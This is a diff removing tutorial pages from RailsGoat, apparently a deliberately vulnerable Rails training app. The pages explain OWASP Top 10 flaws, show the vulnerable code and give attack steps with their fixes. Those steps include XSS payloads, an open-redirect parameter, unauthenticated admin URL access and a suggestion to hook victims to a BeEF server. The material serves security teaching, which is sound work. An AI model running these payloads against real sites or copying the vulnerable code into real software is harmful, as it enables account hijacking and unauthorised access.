The fix ultimately boils down to leveraging a hash, if the hash has the key provided by the user, the value associated with that key is the name of the file to be returned.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-aid icon-white">
|
||||
</i>
|
||||
Hint
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseFour" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
It can be very helpful for employees to download benefit forms.
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -1,76 +0,0 @@
|
||||
<div class="widget">
|
||||
<div class="widget-header">
|
||||
<div class="title">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span> Send
|
||||
</div>
|
||||
</div>
|
||||
<div class="widget-body">
|
||||
<div id="accordion1" class="accordion no-margin">
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseFive" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-info icon-white">
|
||||
</i>
|
||||
Description
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body in collapse" id="collapseFive" style="height: auto;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
INSERT DESCRIPTION HERE
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseSix" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-bug icon-white">
|
||||
</i>
|
||||
Bug
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseSix" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p>
|
||||
INSERT BUG HERE
|
||||
</p>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseSeven" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-lightning icon-white">
|
||||
</i>
|
||||
Solution
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseSeven" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p><b> Constantize ATTACK:</b></p>
|
||||
<p> INSERT ATTACK HERE </p>
|
||||
|
||||
<p><b> Constantize SOLUTION:</b></p>
|
||||
<p> INSERT SOLUTION HERE </p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseEight" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-aid icon-white">
|
||||
</i>
|
||||
Hint
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseEight" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
INSERT HINT HERE
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -1,82 +0,0 @@
|
||||
<div class="widget">
|
||||
<div class="widget-header">
|
||||
<div class="title">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span> A5 - Security Misconfiguration
|
||||
</div>
|
||||
</div>
|
||||
<div class="widget-body">
|
||||
<div id="accordion1" class="accordion no-margin">
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseOne" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-info icon-white">
|
||||
</i>
|
||||
Description
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body in collapse" id="collapseOne" style="height: auto;">
|
||||
<div class="accordion-inner">
|
||||
Security misconfiguration can happen at any level of an application stack, including the platform, web server, application server, database, framework, and custom code. Developers and system administrators need to work together to ensure that the entire stack is configured properly. Automated scanners are useful for detecting missing patches, misconfigurations, use of default accounts, unnecessary services, etc.
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseTwo" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-bug icon-white">
|
||||
</i>
|
||||
Bug
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p>Rails has quite a few security related configurations. One of which relates to enforcing mass assignment protection.<p>
|
||||
<p>
|
||||
<pre class="ruby">
|
||||
<%= %q{
|
||||
config.active_record.whitelist_attributes=false
|
||||
} %>
|
||||
</pre>
|
||||
</p>
|
||||
<p>This configuration forces an application developer to whitelist attributes that can be modified with mass-assignment. When this configuration is set to false <b>any attribute can be mass-assigned.</b></p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseThree" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-lightning icon-white">
|
||||
</i>
|
||||
Solution
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
The solution for this issue is quite simple. In your application.rb file set the configuration as follows.
|
||||
<pre class="ruby">
|
||||
<%= %q{
|
||||
config.active_record.whitelist_attributes=true
|
||||
} %>
|
||||
</pre>
|
||||
Once this configuration is updated to true and the application is restarted, any attributes to be mass-assigned will have to be defined as attr_accessible.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-aid icon-white">
|
||||
</i>
|
||||
Hint
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseFour" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
It has to do with mass-assignment, whitelisting and configuration.
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -1,80 +0,0 @@
|
||||
<div class="widget">
|
||||
<div class="widget-header">
|
||||
<div class="title">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span> A5 - Security Misconfiguration
|
||||
</div>
|
||||
</div>
|
||||
<div class="widget-body">
|
||||
<div id="accordion1" class="accordion no-margin">
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseFive" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-info icon-white">
|
||||
</i>
|
||||
Description
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body in collapse" id="collapseFive" style="height: auto;">
|
||||
<div class="accordion-inner">
|
||||
Another one of the Rails security configurations relates to escaping HTML entities in JSON.
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseSix" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-bug icon-white">
|
||||
</i>
|
||||
Bug
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseSix" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p>When the following setting is set to false, HTML entities in JSON response will not be encoded.<p>
|
||||
<p>
|
||||
<pre class="ruby">
|
||||
<%= %q{
|
||||
ActiveSupport::escape_html_entities_in_json = false
|
||||
} %>
|
||||
</pre>
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseSeven" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-lightning icon-white">
|
||||
</i>
|
||||
Solution
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseSeven" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p>Edit the html_entities file at config/initializers/html_entities.rb and set the following to true.</p>
|
||||
<p><pre class="ruby">
|
||||
<%= %q{
|
||||
ActiveSupport::escape_html_entities_in_json = true
|
||||
} %>
|
||||
</pre></p>
|
||||
<p>Once the initializer is edited and the application is restarted, any HTML entities in JSON responses will be encoded.</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseEight" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-aid icon-white">
|
||||
</i>
|
||||
Hint
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseEight" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
Think HTML entities, escaping and initializers.
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -1,118 +0,0 @@
|
||||
<div class="widget">
|
||||
<div class="widget-header">
|
||||
<div class="title">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span> A10 - Unvalidated Redirects and Forwards
|
||||
</div>
|
||||
</div>
|
||||
<div class="widget-body">
|
||||
<div id="accordion1" class="accordion no-margin">
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseOne" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-info icon-white">
|
||||
</i>
|
||||
Description
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body in collapse" id="collapseOne" style="height: auto;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
Applications frequently redirect users to other pages, or use internal forwards in a similar manner. Sometimes the target page is specified in an unvalidated parameter, allowing attackers to choose the destination page.
|
||||
Detecting unchecked redirects is easy. Look for redirects where you can set the full URL. Unchecked forwards are harder, because they target internal pages.
|
||||
</p>
|
||||
<p class="desc">
|
||||
Railsgoat allows the redirection to the paths previously requested but for which the user did not have access. Following authentication, the user is redirected.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseTwo" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-bug icon-white">
|
||||
</i>
|
||||
Bug
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
The application performs zero validation of the path for which they will redirect users, following authentication. The URL parameter is used to determine where to redirect the user, if the url parameter is not present, the user will be redirect to their home page.
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
def create
|
||||
<span style="background-color:yellow">path = params[:url].present? ? params[:url] : home_dashboard_index_path</span>
|
||||
begin
|
||||
# Normalize the email address, why not
|
||||
user = User.authenticate(params[:email].to_s.downcase, params[:password])
|
||||
# @url = params[:url]
|
||||
rescue Exception => e
|
||||
end
|
||||
|
||||
if user
|
||||
session[:user_id] = user.user_id if User.where(:user_id => user.user_id).exists?
|
||||
redirect_to path
|
||||
else
|
||||
# Removed this code, just doesn't seem specific enough!
|
||||
# flash[:error] = "Either your username and password is incorrect"
|
||||
flash[:error] = e.message
|
||||
render "new"
|
||||
end
|
||||
end
|
||||
</pre>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseThree" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-lightning icon-white">
|
||||
</i>
|
||||
Solution
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p><b>Unvalidated Redirects and Forwards - ATTACK</b></p>
|
||||
<p class="desc">
|
||||
Ensure you are logged out of the application. When requesting the login page, ensure you append a url=<your test url here>. Then, authenticate to the application. Once authenticated, you should be redirected to your test url.
|
||||
</p>
|
||||
<p><b>Unvalidated Redirects and Forwards - SOLUTION</b></p>
|
||||
<p class="desc">
|
||||
To fix this vulnerability, validate the path. In our case, we really only want to redirect users to our site so the TLD is not important. In this case, leveraging URI.parse() can be incredibly helpful. We can change the code to something like:
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
path = home_dashboard_index_path
|
||||
begin
|
||||
if params[:url].present?
|
||||
path = URI.parse(params[:url]).path
|
||||
end
|
||||
rescue
|
||||
end
|
||||
</pre>
|
||||
<p class="desc">
|
||||
Further validation can occur with regular expression. If you must redirect to another application, remember to use URI.parse() and the host, path, and scheme (ssl or not) options FIRST, prior to performing regular expression validation. Additionally, always open and close your validation regexp using Ruby anchor tags \A and \z.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-aid icon-white">
|
||||
</i>
|
||||
Hint
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseFour" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p>
|
||||
Read the description section, fairly big hint there.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -1,82 +0,0 @@
|
||||
<div class="widget">
|
||||
<div class="widget-header">
|
||||
<div class="title">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span> A9 - Insufficient Transport Layer Protection
|
||||
</div>
|
||||
</div>
|
||||
<div class="widget-body">
|
||||
<div id="accordion1" class="accordion no-margin">
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseOne" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-info icon-white">
|
||||
</i>
|
||||
Description
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body in collapse" id="collapseOne" style="height: auto;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
Applications frequently fail to authenticate, encrypt, and protect the confidentiality and integrity of sensitive network traffic. When they do, they sometimes support weak algorithms, use expired or invalid certificates, or do not use them correctly.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseTwo" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-bug icon-white">
|
||||
</i>
|
||||
Bug
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
The application currently does not use SSL (this is not the bug). Once it does, we will show the bug. For now, check out the solution section.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseThree" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-lightning icon-white">
|
||||
</i>
|
||||
Solution
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
In order to enforce transport layer security and ensure all requests are made over SSL, navigate to the environment file that matches the environment you would like to apply this to and add:
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
config.force_ssl = true
|
||||
</pre>
|
||||
<p class="desc">
|
||||
To protect sessions from being sent over non-encrypted channels, mark your cookies with the secure flag. Under config/initializers/session_store.rb added the following option (highlighted):
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
Railsgoat::Application.config.session_store :cookie_store, key: '_railsgoat_session'<span style="background-color:yellow">, :secure => true
|
||||
</pre>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-aid icon-white">
|
||||
</i>
|
||||
Hint
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseFour" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
N/A
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -1,107 +0,0 @@
|
||||
<div class="widget">
|
||||
<div class="widget-header">
|
||||
<div class="title">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span> A8 - Failure to Restrict URL Access
|
||||
</div>
|
||||
</div>
|
||||
<div class="widget-body">
|
||||
<div id="accordion1" class="accordion no-margin">
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseOne" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-info icon-white">
|
||||
</i>
|
||||
Description
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body in collapse" id="collapseOne" style="height: auto;">
|
||||
<div class="accordion-inner">
|
||||
Many web applications check URL access rights before rendering protected links and buttons. However, applications need to perform similar access control checks each time these pages are accessed, or attackers will be able to forge URLs to access these hidden pages anyway.
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseTwo" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-bug icon-white">
|
||||
</i>
|
||||
Bug
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
Rails provides the ability to apply before_filter(s) which run prior to rendering content to the user. This is helpful when restricting access to content based on the user's role. Currently, the methods to apply a before_filter already exist in the application controller but were forgotten when creating the administrative functionality. Notice an asbsence of the before_filter within app/controllers/admin_controller.rb
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
<%= %q{
|
||||
class AdminController < ApplicationController
|
||||
|
||||
skip_before_filter :has_info
|
||||
} %>
|
||||
</pre>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseThree" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-lightning icon-white">
|
||||
</i>
|
||||
Solution
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p><b>Failure to Restrict URL Access - ATTACK</b></p>
|
||||
<p class="desc">
|
||||
Request the following URL /admin/1/dashboard and have fun :-)
|
||||
</p>
|
||||
<p><b>Failure to Restrict URL Access - SOLUTION</b></p>
|
||||
<p class="desc">
|
||||
The code is already available to restrict access to the admin controller by role within app/controllers/application_controller.rb:
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
helper_method :current_user, <span style="background-color:yellow">:is_admin?</span>
|
||||
|
||||
def is_admin?
|
||||
current_user.admin if current_user
|
||||
end
|
||||
|
||||
def administrative
|
||||
if not is_admin?
|
||||
reset_session
|
||||
redirect_to root_url
|
||||
end
|
||||
end
|
||||
</pre>
|
||||
<p>
|
||||
Then add the following line within app/controllers/admin_controller.rb
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
class AdminController < ApplicationController
|
||||
|
||||
<span style="background-color:yellow">before_filter :administrative</span>
|
||||
skip_before_filter :has_info
|
||||
</pre>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-aid icon-white">
|
||||
</i>
|
||||
Hint
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseFour" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
I bet there is some admin functionality in here :-)
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -1,125 +0,0 @@
|
||||
<div class="widget">
|
||||
<div class="widget-header">
|
||||
<div class="title">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span> A3 - Cross-Site Scripting ("XSS") - DOM Based
|
||||
</div>
|
||||
</div>
|
||||
<div class="widget-body">
|
||||
<div id="accordion1" class="accordion no-margin">
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseFive" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-info icon-white">
|
||||
</i>
|
||||
Description
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body in collapse" id="collapseFive" style="height: auto;">
|
||||
<div class="accordion-inner">
|
||||
<p>
|
||||
DOM Based XSS (or as it is called in some texts, “type-0 XSS”) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner. That is, the page itself (the HTTP response that is) does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseSix" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-bug icon-white">
|
||||
</i>
|
||||
Bug
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseSix" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p>
|
||||
The following code was taken from app/views/sessions/new.html.erb:
|
||||
</p>
|
||||
<pre class="javascript">
|
||||
<%=
|
||||
%{
|
||||
<script>
|
||||
//document.write("<select style=\"width: 100px;\">");
|
||||
//document.write("<OPTION value=1>English</OPTION>");
|
||||
//document.write("<OPTION value=2>Spanish</OPTION>");
|
||||
try \{
|
||||
var hashParam = location.hash.split("#")[1];
|
||||
var paramName = hashParam.split('=')[0];
|
||||
var paramValue = hashParam.split('=')[1];
|
||||
document.write("<OPTION value=3>" +} %> <span style="background-color:yellow"> paramValue</span> <%= %{ + "</OPTION>");
|
||||
\} catch(err) \{
|
||||
\}
|
||||
//document.write("</select>");
|
||||
</script>
|
||||
}
|
||||
%>
|
||||
</pre>
|
||||
<p class="desc">
|
||||
The code (above) takes user input (params), and renders it back on the page without any output encoding or escaping.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseSeven" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-lightning icon-white">
|
||||
</i>
|
||||
Solution
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseSeven" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p><b> Stored Cross-Site Scripting ATTACK:</b></p>
|
||||
<p class="desc">
|
||||
Ensure you are signed out of the application first. Make sure you are using something like Firefox as Safari/Chrome won't work for this exercise. Then, use the following link (substitute hostname for your actual hostname) to execute an alert box:
|
||||
</p>
|
||||
<pre>
|
||||
<%= %{http://127.0.0.1:3000/#test=<script>alert(1)</script>} %>
|
||||
</pre>
|
||||
<p><b> Stored Cross-Site Scripting SOLUTION:</b></p>
|
||||
<p>
|
||||
Leverage the Hogan function for escaping (found in the application.js file) to escape user input:
|
||||
</p>
|
||||
<pre class="javascript">
|
||||
<%= %{
|
||||
<!-- support for multiple languages coming soon! -->
|
||||
<script>
|
||||
//document.write("<select style=\"width: 100px;\">");
|
||||
//document.write("<OPTION value=1>English</OPTION>");
|
||||
//document.write("<OPTION value=2>Spanish</OPTION>");
|
||||
try \{
|
||||
var hashParam = location.hash.split("#")[1];
|
||||
var paramName = hashParam.split('=')[0];
|
||||
var paramValue = hashParam.split('=')[1];
|
||||
document.write("<OPTION value=3>" + } %> <span style="background-color:yellow"> hoganEscape(paramValue)</span> <%= %{ + "</OPTION>");
|
||||
\} catch(err) \{
|
||||
\}
|
||||
//document.write("</select>");
|
||||
</script>
|
||||
}
|
||||
|
||||
%>
|
||||
</pre>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseEight" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-aid icon-white">
|
||||
</i>
|
||||
Hint
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseEight" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
You should view the source of the login page, might be something interesting there.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -1,94 +0,0 @@
|
||||
<div class="widget">
|
||||
<div class="widget-header">
|
||||
<div class="title">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span> A3 - Cross-Site Scripting ("XSS")
|
||||
</div>
|
||||
</div>
|
||||
<div class="widget-body">
|
||||
<div id="accordion1" class="accordion no-margin">
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseOne" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-info icon-white">
|
||||
</i>
|
||||
Description
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body in collapse" id="collapseOne" style="height: auto;">
|
||||
<div class="accordion-inner">
|
||||
<p>XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation and escaping. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseTwo" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-bug icon-white">
|
||||
</i>
|
||||
Bug
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p><b>Stored Cross-Site Scripting - The following code was taken from app/views/layouts/shared/_header.html.erb</b></p>
|
||||
|
||||
<p>
|
||||
<pre class="ruby">
|
||||
<%= @code %>
|
||||
</pre>
|
||||
</p>
|
||||
<p class="desc">
|
||||
Coincidentally, HTML safe is not safe from HTML Injection or "XSS" attacks. The name is deceiving. Some folks believe the raw() helper to be different than the html_safe String method. raw() is actually a wrapper for html_safe and essentially ensures exceptions are handled when the expected value is nil.
|
||||
<pre class="ruby">
|
||||
# Psuedo-code to help conceptualize
|
||||
def raw(dirty_string)
|
||||
dirty_string.to_s.html_safe
|
||||
end
|
||||
</pre>
|
||||
|
||||
</p>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseThree" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-lightning icon-white">
|
||||
</i>
|
||||
Solution
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p><b> Stored Cross-Site Scripting ATTACK:</b></p>
|
||||
|
||||
<p> When registering, enter your JavaScript tag such as <%= %{<script>alert("ohai")</script>} %> in the First Name field. Upon login the header navigation bar will echo "Welcome" + your JS code. You can have your XSS code point the victim to a <b><%= link_to "BeEF server", "http://beefproject.com", {:style => "color: rgb(69, 126, 136)" } %></b> and have some fun as well.
|
||||
</p>
|
||||
<p><b> Stored Cross-Site Scripting SOLUTION:</b></p>
|
||||
<p>
|
||||
Often developers error on the side of using "html_safe" versus "raw" with the idea being one is safer than the other. In this example, simply removing the .html_safe call would both eliminate the attack (by default, Rails 3.x html encodes these dangerous chars). Rails 2.x would require that any potentially malicious content is wrapped within an h() tag. Potentially malicious content should be thought of anything that is dynamically generated. Also, it is important to note that if for some reason you wanted to render HTML code in literal form, you can use things like sanitize() or strip_tags().
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-aid icon-white">
|
||||
</i>
|
||||
Hint
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseFour" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
Apparently we had some issues rendering people's names with weird formatting or something, I dunno, I think I fixed it by safely encoding html and rendering the necessary content.<br/><br/>
|
||||
You're <b>Welcome</b>!
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -1,26 +0,0 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>RailsGoat</title>
|
||||
